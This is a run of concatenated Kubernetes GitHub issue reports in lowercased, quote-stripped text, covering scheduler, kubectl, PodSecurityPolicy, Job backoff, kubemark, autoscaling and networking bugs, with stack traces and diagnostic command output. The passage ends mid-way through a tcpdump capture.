/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/watcher.go:133 +0x114\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.go:595 +0x17a\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.go:232 +0xf43\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/watcher.go:228 +0x184\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/watcher.go:133 +0x114\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/stream.go:241 +0x251\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/stream.go:240 +0x1402\r /usr/local/go/src/runtime/time.go:65 +0x133\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kube-apiserver/app/testing/server_test.go:234 +0x1238\r /usr/local/go/src/testing/testing.go:746 +0x16d\r /usr/local/go/src/testing/testing.go:789 +0x569\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/clientv3/lease.go:455 +0x4d7\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/clientv3/lease.go:391 +0x303\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/pkg/logutil/merge_logger.go:174 +0x5bb\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/pkg/logutil/merge_logger.go:92 +0x133\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/clientv3/lease.go:455 +0x4d7\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/clientv3/lease.go:391 +0x303\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/clientv3/lease.go:455 +0x4d7\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/clientv3/lease.go:391 +0x303\r /usr/local/go/src/runtime/sema.go:56 +0x39\r /usr/local/go/src/sync/waitgroup.go:131 +0xb4\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/integration/bridge.go:164 +0x11e\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/integration/bridge.go:137 +0x139\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:891 +0x21b\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:620 +0x251\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:611 +0xb23\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/pkg/logutil/merge_logger.go:174 +0x5bb\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/pkg/logutil/merge_logger.go:92 +0x133\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/clientv3/balancer.go:194 +0x160\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/clientconn.go:658 +0xd9\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/stream.go:179 +0x596\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/grpc-ecosystem/go-grpc-prometheus/client.go:31 +0x162\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/google.golang.org/grpc/stream.go:103 +0x10f\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/coreos/etcd/etcdserver/etcdserverpb/rpc.pb.go:2542 +0xea\r <autogenerated>:1 +0xa7\r <autogenerated>:1 +0xa7\r    \r \r   what you expected to happen  :\r run correct.\r   how to reproduce it  as minimally and precisely as possible   :\r not fully sure, appear occasionally.\r \r   anything else we need to know?  :\r

\r   is this a bug report or feature request?  :\r  \r   what happened  :\r \r  56484  in  kubectl expose , when  dry-run  flag is true with default outputformat, we should print the object rather than print  service xxx exposed  dry run  , i fixed it in pr  56484 and improve the \  show-labeles  with  out-put  issue\  just like   55371 using --show-labels with incompatible ‘kubectl get’ arguments should error out  https://github.com/kubernetes/kubernetes/pull/55371  \r \r  55930 add unit test for pr55371 fix show-labels output .\r  56387\r when set  show-labels  flag with run option, only specific output format can be used, others should error out.\r   show-labels  \r \r |output|\ \ |name|wide|yaml...|\r |---|---|---|---|----|\r ||x|x|o|x|\r \r   show-labels with dry-run  \r \r |output|\ \ |name|wide|yaml...|\r |---|---|---|---|----|\r ||o|x|o|x|\r \r \r i add the  show-labels  check there for  kubectl run  too.\r

is this a bug report or feature request?  :\r  \r   what happened  :\r while i was working on  62211, i noticed a bug in affinity predicate when  it checks a pod's affinity to itself  https://github.com/kubernetes/kubernetes/blob/ee8c6d99b6064d3e490ad8607d1bfe28d86dd3d9/pkg/scheduler/algorithm/predicates/predicates.go l1402 . this check is important to ensure that the first pod of a service that has affinity to its own pods can be scheduled. without this check, pods of such a service will never be scheduled. this piece of code checks that when there is no pod in the cluster that matches the affinity rules of the pod being scheduled and the affinity rules match the pod itself, then it does not fail the predicate. however, the implemented check has an issue. when there are multiple affinity terms, all of those terms must match a pod for the pod to be considered a matching pod. for example, consider the following affinity rule. both <term 1> and <term 2> must match a pod for the pod to be considered matching. in the implemented version, if a pod matches any of the terms, it gives up scheduling the pod being scheduled and fails the predicate. \r \r    \r affinity: &v1.affinity{\r \tpodaffinity: &v1.podaffinity{\r \t\trequiredduringschedulingignoredduringexecution:   v1.podaffinityterm{\r \t\t{\r \t\t\t<term 1>\r \t\t},\r \t\t{\r \t\t\t<term 2>\r \t\t},\r \t\t},\r \t},\r },\r    \r \r i have a fix, but i will until  62211 goes in. that pr has helper functions that makes fixing this issue easier.\r \r  /assign\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r scheduler's pod informer has a selector that  watches only pods whose spec.schedulername is equal to the name of the scheduler  https://github.com/kubernetes/kubernetes/blob/9b7439d77d0b29878ec3246271206050e22a3c7a/pkg/scheduler/factory/factory.go l1275 . this is incorrect. scheduler must watch all the pods of the cluster, including those scheduled by other schedulers in order to update its cache of the state of the cluster. otherwise, it will miss important events and the amount of available resources, pods on nodes, ... which are needed for scheduler to work correctly, will not be updated properly.\r \r  /assign\r

 \r \r \r   what happened  :\r \r using kubectl without supplying a valid kubeconfig for a namespace gives inconsistent \r error conditions when using short form and long form\r \r   what you expected to happen  :\r consistent messages\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r /root/kubernetes/hyperkube kubectl get ns -n kube-system\r error: the server doesn't have a resource type \ ns\ \r    \r    \r /root/kubernetes/hyperkube kubectl get namespace -n kube-system\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r    \r \r \r   anything else we need to know?  :\r tried on 1.9.3 / 1.10.0 and 1.10.1 and all appear to behave same way\r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos 1745.7.0 \r - kernel  e.g.  uname -a  :  4.14.48-coreos-r2\r - install tools: kube-aws \r - others:\r

\r   kube-proxy error\r \r    \r aug  8 17:12:20 ecs-2f8c-0001 kube-proxy: e0808 17:12:20.243101   26277 event.go:203  server rejected event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ kubernetes-03.1548ddcbbd3743b0\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ kubernetes-03\ , uid:\ kubernetes-03\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ starting\ , message:\ starting kube-proxy.\ , source:v1.eventsource{component:\ kube-proxy\ , host:\ kubernetes-03\ }, firsttimestamp:v1.time{time:time.time{wall:0xbed2cadd0e70bbb0, ext:77914742, loc:  time.location  0x21d16a0 }}, lasttimestamp:v1.time{time:time.time{wall:0xbed2cadd0e70bbb0, ext:77914742, loc:  time.location  0x21d16a0 }}, count:1, type:\ normal\ , eventtime:v1.microtime{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, series:  v1.eventseries  nil , action:\ \ , related:  v1.objectreference  nil , reportingcontroller:\ \ , reportinginstance:\ \ }': 'unauthorized'  will not retry! \r aug  8 17:12:20 ecs-2f8c-0001 kube-proxy: e0808 17:12:20.243318   26277 reflector.go:205  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:129: failed to list  core.endpoints: unauthorized\r \r    \r \r pls help me!

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  : bug report\r  \r \r   what happened  :\r podsecuritypolicy is enabled, and allows everything, but has the  apparmor.security.beta.kubernetes.io/allowedprofilenames  and  apparmor.security.beta.kubernetes.io/defaultprofilename  annotations set.\r installed the istio sidecar injector, and the injector attempts to inject a sidecar container. the error:\r  replicaset-controller  error creating: pods \ {pod name}\  is forbidden: unable to validate against any pod security policy:    . removing the apparmor annotations allow the sidecar to be created.\r see the additional information for my guess as to what's happening based on reading the source code.\r \r   what you expected to happen  :\r the podsecuritypolicy accepting the annotation change, or having a field in the securitycontext to set the profilename for the sidecar.\r \r   how to reproduce it  as minimally and precisely as possible   :\r we use a pretty modified version of istio to not have to include a privileged init container and enforce a more restricted podsecuritypolicy. the below should reproduce with a vanilla version of istio.\r \r 1. install istio sidecar injector, or anything that uses the mutatingadmissionwebhook to add a container a pod that's being created.\r 2.  create a podsecuritypolicy that allows anything, but has the  apparmor.security.beta.kubernetes.io/allowedprofilenames  and  apparmor.security.beta.kubernetes.io/defaultprofilename  annotations set.\r 3. observe the error described above.\r \r \r   anything else we need to know?  :\r looking through the source code, my guess is that the following is happening:\r 1. the injector calls patch on the pod to add the new container, resulting in the code execution eventually reaching https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/admission/security/podsecuritypolicy/admission.go l162\r 2. https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/admission/security/podsecuritypolicy/admission.go l261-l268 asks the podsecuritypolicy to show what the pod has to look like in order to be accepted.\r 3. apparmor says to add the annotation  apparmor.security.beta.kubernetes.io/...  because it's unset, and we've specified a default value in the podsecuritypolicy. https://github.com/kubernetes/kubernetes/blob/master/pkg/security/podsecuritypolicy/provider.go l182 sets the annotation in the pod. this means that step 2 rejects the podsecuritypolicy because the returned pod is different.\r 4. because no podsecuritypolicy returns the exact pod copy, we exit the loop and return nil.\r 5. the next line in admission.go compares the returned nil against the original pod and returns the vague error message.\r \r i believe another fix is to make the sidecar injector provide that annotation, but that seems less ideal than addressing this issue in some way in this codebase.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.8\ , gitcommit:\ 7eab6a49736cc7b01869a15f9f05dc5b49efb9fc\ , gittreestate:\ clean\ , builddate:\ 2018-09-14t15:54:20z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } . based on the source code, i believe this extends to the more recent versions as well.\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r job controller uses   numrequeues   https://github.com/kubernetes/kubernetes/blob/b6fd5d93b2048ae19cbcf21bafdd5cd7249d1f33/pkg/controller/job/job_controller.go l465-l466  of the job workqueue to calculate backofflimit. this makes backofflimit unpredictable especially when a job with parallelism larger than 1 and when its restartpolicy is  never . \r \r take this job for example:\r    yaml\r apiversion: batch/v1\r kind: job\r metadata:\r   name: error\r spec:\r   backofflimit: 10\r   parallelism: 10\r   template:\r     metadata:\r       name: job\r     spec:\r       restartpolicy: never\r       containers:\r         - name: job\r           image: busybox\r           args:\r             - /bin/sh\r             - -c\r             - exit 1\r    \r \r the job will eventually fail after it creates 64 failed pods, instead of 10 failed pods. \r    yaml\r    ... \r   status:\r     conditions:\r     - lastprobetime: \ 2018-10-25t18:12:06z\ \r       lasttransitiontime: \ 2018-10-25t18:12:06z\ \r       message: job has reached the specified backoff limit\r       reason: backofflimitexceeded\r       status: \ true\ \r       type: failed\r     failed: 64\r    \r \r if restartpolicy is set to  onfailure , total number of container restarts count will be taken into account. this seems more predictable. however, if we change the restartpolicy of the same job to  onfailure , all the failed pods will be deleted when they are restarted: https://github.com/kubernetes/kubernetes/blob/b6fd5d93b2048ae19cbcf21bafdd5cd7249d1f33/pkg/controller/job/job_controller.go l520\r \r the job will fail when its creates 10 failed pods, but will end up with 0 pods. \r \r <!-- do not edit below this line -->\r /king bug

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r i have a k8s cluster and hope to run kubemark with cloud_provider set to 'local', and defined the config-default.sh as below, code path is \ cluster/kubemark/local/config-default.sh\ ,\r master_ip=\ 192.168.17.24\ \r master_name=\ k8smaster\ \r num_nodes=\ 3\ \r cluster_ip_range=\ 10.224.0.0/11\ \r service_cluster_ip_range=\ 10.0.0.0/16\ \r cloud_provider=\ local\ \r kubernetes_provider=\ local\ \r kube_master_url=\ https://192.168.17.24:6443\ \r \r after that, run the benchmark like this,\r ./test/kubemark/run-e2e-tests.sh --ginkgo.focus= feature:performance \r \r i see bunches of exception, and looks like it is not run with the local k8s cluster, the exceptions looks like this,\r    \r • failure in spec setup  beforeeach   6.239 seconds \r  k8s.io  container runtime\r /root/gocode/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:694\r   blackbox test  beforeeach \r   /root/gocode/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/runtime.go:37\r     when running a container with a new image\r     /root/gocode/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/runtime.go:240\r       should be able to pull image from gcr.io  nodeconformance \r       /root/gocode/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/runtime.go:304\r \r       failed to create psp e2e-test-privileged-psp\r       expected error:\r           < errors.statuserror | 0xc0013305a0>: {\r               errstatus: {\r                   typemeta: {kind: \ \ , apiversion: \ \ },\r                   listmeta: {selflink: \ \ , resourceversion: \ \ , continue: \ \ },\r                   status: \ failure\ ,\r                   message: \ the server could not find the requested resource\ ,\r                   reason: \ notfound\ ,\r                   details: {name: \ \ , group: \ \ , kind: \ \ , uid: \ \ , causes: nil, retryafterseconds: 0},\r                   code: 404,\r               },\r           }\r           the server could not find the requested resource\r       not to have occurred\r \r       /root/gocode/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/psp_util.go:117\r \r • failure in spec setup  beforeeach   11.308 seconds \r  k8s.io  variable expansion\r /root/gocode/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:694\r   should allow substituting values in a container's command  nodeconformance   conformance   beforeeach \r   /root/gocode/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:699\r \r   expected error:\r       < errors.errorstring | 0xc000087860>: {\r           s: \ timed out waiting for the condition\ ,\r       }\r       timed out waiting for the condition\r   not to have occurred\r \r   /root/gocode/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/psp_util.go:148\r ------------------------------\r • failure in spec setup  beforeeach   11.239 seconds \r  sig-network  services\r /root/gocode/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/network/framework.go:22\r   should be able to change the type and ports of a service  slow   disabledforlargeclusters   beforeeach \r   /root/gocode/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/network/service.go:506\r \r   expected error:\r       < errors.errorstring | 0xc000087860>: {\r           s: \ timed out waiting for the condition\ ,\r       }\r       timed out waiting for the condition\r   not to have occurred\r \r   /root/gocode/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/psp_util.go:148\r \r    \r   what you expected to happen  :\r kubemark could run successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  - setup k8s cluster\r  - create \ cluster/kubemark/local/config-default.sh\ \r  - set cloud_provider to 'local'\r  - run ./test/kubemark/run-e2e-tests.sh --ginkgo.focus= feature:performance \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.8\ , gitcommit:\ c138b85178156011dc934c2c9f4837476876fb07\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t18:53:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: local\r - os  e.g. from /etc/os-release : ubuntu16.04\r - kernel  e.g.  uname -a  : linux k8smaster 4.15.0-36-generic  39~16.04.1-ubuntu smp tue sep 25 08:59:23 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: local k8s cluster is setup via kubeadm.\r - others:\r kubemark is based on this commit on master branch:\r commit 895f483fdfba055573681ef067e16d60df7985f8\r merge: 0e0131d 54e5819\r author: kubernetes prow robot <k8s-ci-robot@users.noreply.github.com>\r date:   wed dec 5 16:52:55 2018 -0800\r \r <!-- do not edit below this line -->\r 

we're currently sending whole nodestatuses only to update a node heartbeat. this a big source of traffic in the cluster, and one of the possible causes of 1000-node cluster failures. we need to extract heartbeat to a new api 'heartbeat' object with timestamp and object reference only, and make kubelet/nodecontroller to use this object instead of nodestatus to determine health of the node.  cc: @wojtek-t @lavalamp @bgrant0607 @brendandburns @smarterclayton @timothysc @davidopp @fgrzadkowski

no offense to the other people, but if we can't rebuild a container, we get stuck sometimes. :

capturing internal email and in-person discussions.  the choice of which pod to kill when a replication controller replica count is decreased  or the replication controller otherwise detects that it somehow has too many pods  could become fairly nuanced, and even application-specific  e.g., don't kill the current master in a master-elected service . one way in which we could make the policy extensible is to generate an event that indicates pods need to be killed and then wait some amount of time. that would provide an opportunity for a user-provider pod killer to make the choice.  that's not to say that we shouldn't make the default choice more intelligent over time  e.g., taking into account application readiness , but the default policy will never satisfy everyone.  events when pods are actually killed and created would be useful, too.

scale up should happen in order scale down should happen in reverse order scaling should halt if there's an unhealthy pet scaling down before the scale up finished should wait for the _current_ pet to enter running, then immeidtely start scale down

bug report:  severity: cluster becomes unusable unless an administrator intervenes and removes pods.  in an autoscaling scenario with the hpa and an instance autoscaler like gce instance groups, scaling down the cluster causes trouble due to two issues: 1  pending pods are not being terminated by the hpa due to  seemingly  incorrect usage calculations 2  removing nodes from the cluster leads to a kill of heapster, which then won't start again due to insufficient cpu resources, which then blocks removing pods by the hpa forever, effectively preventing any further scaling of the cluster.    environment information:   kubernetes version: 1.3.5 environment: gce servers 8 cpus, 30gb ram, 150gb disk    scaling settings:   - servers 8 cpus - servers scale at 60% cpu  up or down , delay of 300s - hpa scales at 51%  yes, it is a poor pod , scaling of 2 to a max of 64 pods. - pods are defined with a request and limit of 1500mc, so no flexibility there  not possible else the behaviour of the pods is not as it should be     description of what happens:   1  server load increases from 25% to 60%, pods scale up fast to prevent backlog in the pods  pods are processing nginx logs with logstash in sync with the incoming data   multi container pod: nginx is doing virutally nothing in the container, logstash is running near 100%: on average the scaling point is 50%  2  hpa explodes to 64 pods & nodes are scaled in to cope with the load: nodes level out at 6 nodes for the given test. 3  load per pod is decreased to <50% due to the scaling of nodes and pods 4  pending pods are not being removed, a high number of them stays present 5  the load is decreased with as result that the nodes start to scale back 6  pending pods are still pending, hpa is not scaling back pods. 7  node with heapster is killed by the node scaler. 8  due to now lack of cpu heapster does not start anymore, the hpa does not get information anymore and will not scale down pods.    proposed solution:   a  change heapster request cpu to a low value so it will always start b  add new properties to the hpa: - max pending pods: this prevents a bunch of pods from being started while they can not be scheduled in the cluster anyway. - max time a pod is allowed to stay pending: makes the autoscaler a bit more independent from heapster - let pods report to the hpa instead of to heapster what their load is, removing the heapster requirement completely and making the hpas much more flexible. heapster is then only for graphing purposes.

the kubelet hostport pkg uses uses iptables as an underlying mechanism to manage port mappings. this package implements only the ipv4 version of iptables, even though it imports k8s.io/kubernetes/pkg/util/iptables which supports iptables and ip6tables.\r \r related to issue  1443

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r after deploying service catalog  or other external apiservice  into kuberenetes, and then restart the whole kubernetes cluster  or kuberetnes master if service catalog api is running in the master node , kube-controller-manager failed to start.\r \r   what you expected to happen  :\r the kube-controller-manager is able to start and continue working\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a one node kubernetes cluster with calico\r 2. follow the instruction of  service catalog helm charts  https://github.com/kubernetes-incubator/service-catalog/tree/master/charts/catalog  to deploy service catalog\r 3. restart docker service\r \r   anything else we need to know?  :\r kube-controller-manager failed to start with following error message \r    \r f0921 06:47:47.847921       1 controllermanager.go:176  error building controller context: failed to get supported resources from server: unable to retrieve the complete list of server apis: servicecatalog.k8s.io/v1alpha1: an error on the server  \ error: 'dial tcp 10.0.0.180:443: i/o timeout'\ trying to reach: 'https://10.0.0.180:443/apis/servicecatalog.k8s.io/v1alpha1'\   has prevented the request from succeeding\r    \r after containers are restart, the execution flow of cluster recovery is\r \r 1. the container of catalog api get the new pod ip\r 2. kubelet update the pod ip to kube api service and then etcd\r  2a . kube controller manager is expected to get the update of pod to update the endpoint\r  2b . kubeproxy is expected to get the update of the endpiont to update the iptable\r 3. kube controller manager start up and failed during initialization as it cannot talk to catalog api service.\r \r the  2a / 2b  and  3  become circle dependence. \r \r   environment  :\r - kubernetes version  use  kubectl version  : v 1.7.1\r - cloud provider or hardware configuration  : vagrant and virtual box\r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :    linux cfc6 4.4.0-64-generic  85-ubuntu smp mon feb 20 11:50:30 utc 2017 x86_64 x86_64 x86_64 gnu/linux   \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r > i start a 3 masters clusters, and one of them can't  send request to the real pod here is prometheus, but other service is same , but other's work. \r > connect by host ip\r >> connect other node except 192.168.17.201:\r ! image  https://user-images.githubusercontent.com/13129099/32411798-4da403c2-c21f-11e7-8579-184ce7454860.png \r >> connect 192.168.17.201, can not connect:\r ! image  https://user-images.githubusercontent.com/13129099/32411803-7f834c86-c21f-11e7-987d-c63d9e12e290.png \r >>\r \r > connect by pod ip:\r >> 192.168.17.203:\r    \r root@m-clustera-192-168-17-203:~  kubectl get endpoints\r name                 endpoints                                 age\r kubernetes           192.168.17.203:6443                       2d\r prometheus-monitor   10.244.145.193:3000,10.244.145.193:9090   2d\r root@m-clustera-192-168-17-203:~  wget http://10.244.145.193:3000\r --2017-11-04 23:53:53--  http://10.244.145.193:3000/\r connecting to 10.244.145.193:3000... connected.\r http request sent, awaiting response... 302 found\r location: /login  following \r --2017-11-04 23:53:53--  http://10.244.145.193:3000/login\r reusing existing connection to 10.244.145.193:3000.\r http request sent, awaiting response... 200 ok\r length: unspecified  text/html \r saving to: 'index.html.3'\r \r index.html.3                                               <=>                                                                                                                      8.09k  --.-kb/s    in 0s      \r \r 2017-11-04 23:53:53  83.2 mb/s  - 'index.html.3' saved  8289 \r \r root@m-clustera-192-168-17-203:~ \r    \r >> 192.168.17.201:\r    \r root@m-clustera-192-168-17-201:~  kubectl get endpoints\r name                 endpoints                                 age\r kubernetes           192.168.17.204:6443                       2d\r prometheus-monitor   10.244.145.193:3000,10.244.145.193:9090   2d\r root@m-clustera-192-168-17-201:~  wget http://10.244.145.193:3000\r --2017-11-05 11:51:44--  http://10.244.145.193:3000/\r connecting to 10.244.145.193:3000... ^c\r root@m-clustera-192-168-17-201:~ \r    \r >> \r \r > check tunnel:\r >> 192.168.17.203:\r    \r root@m-clustera-192-168-17-203:~  ifconfig\r ...\r tunl0     link encap:ipip tunnel  hwaddr   \r           inet addr:10.244.55.192  mask:255.255.255.255\r           up running noarp  mtu:1440  metric:1\r           rx packets:2012 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:2472 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:1 \r           rx bytes:9590548  9.5 mb   tx bytes:155050  155.0 kb \r    \r >> 192.168.17.201: rx packets:0, tx packets:0 \r    \r root@m-clustera-192-168-17-201:~  ifconfig \r ...\r tunl0     link encap:ipip tunnel  hwaddr   \r           inet addr:10.244.206.64  mask:255.255.255.255\r           up running noarp  mtu:1440  metric:1\r           rx packets:0 errors:0 dropped:0 overruns:0 frame:0\r           tx packets:0 errors:0 dropped:0 overruns:0 carrier:0\r           collisions:0 txqueuelen:1 \r           rx bytes:0  0.0 b   tx bytes:0  0.0 b \r    \r >>\r \r > catch package:\r >> 192.168.17.203:\r    \r root@m-clustera-192-168-17-203:~  ip addr\r ...\r 694: tunl0@none: <noarp,up,lower_up> mtu 1440 qdisc noqueue state unknown group default qlen 1\r     link/ipip 0.0.0.0 brd 0.0.0.0\r     inet 10.244.55.192/32 brd 10.244.55.192 scope global tunl0\r        valid_lft forever preferred_lft forever\r root@m-clustera-192-168-17-203:~  tcpdump -i tunl0\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on tunl0, link-type raw  raw ip , capture size 262144 bytes\r 00:14:52.768349 ip 10.244.55.192.34194 > 10.244.145.193.3000: flags  s , seq 2661811686, win 29200, options  mss 1460,sackok,ts val 1832358105 ecr 0,nop,wscale 7 , length 0\r 00:14:52.768625 ip 10.244.145.193.3000 > 10.244.55.192.34194: flags  s. , seq 2672977960, ack 2661811687, win 28960, options  mss 1460,sackok,ts val 384239381 ecr 1832358105,nop,wscale 7 , length 0\r 00:14:52.768817 ip 10.244.55.192.34194 > 10.244.145.193.3000: flags  . , ack 1, win 229, options  nop,nop,ts val 1832358105 ecr 384239381 , length 0\r 00:14:52.768931 ip 10.244.55.192.34196 > 10.244.145.193.3000: flags  s , seq 1163632063, win 29200, options  mss 1460,sackok,ts val 1832358105 ecr 0,nop,wscale 7 , length 0\r 00:14:52.768961 ip 10.244.55.192.34202 > 10.244.145.193.3000: flags  s , seq 711556203, win 29200, options  mss 1460,sackok,ts val 1832358105 ecr 0,nop,wscale 7 , length 0\r 00:14:52.768972 ip 10.244.55.192.34204 > 10.244.145.193.3000: flags  s , seq 4270383347, win 29200, options  mss 1460,sackok,ts val 1832358105 ecr 0,nop,wscale 7 , length 0\r 00:14:52.768993 ip 10.244.55.192.34200 > 10.244.145.193.3000: flags  s , seq 984818515, win 29200, options  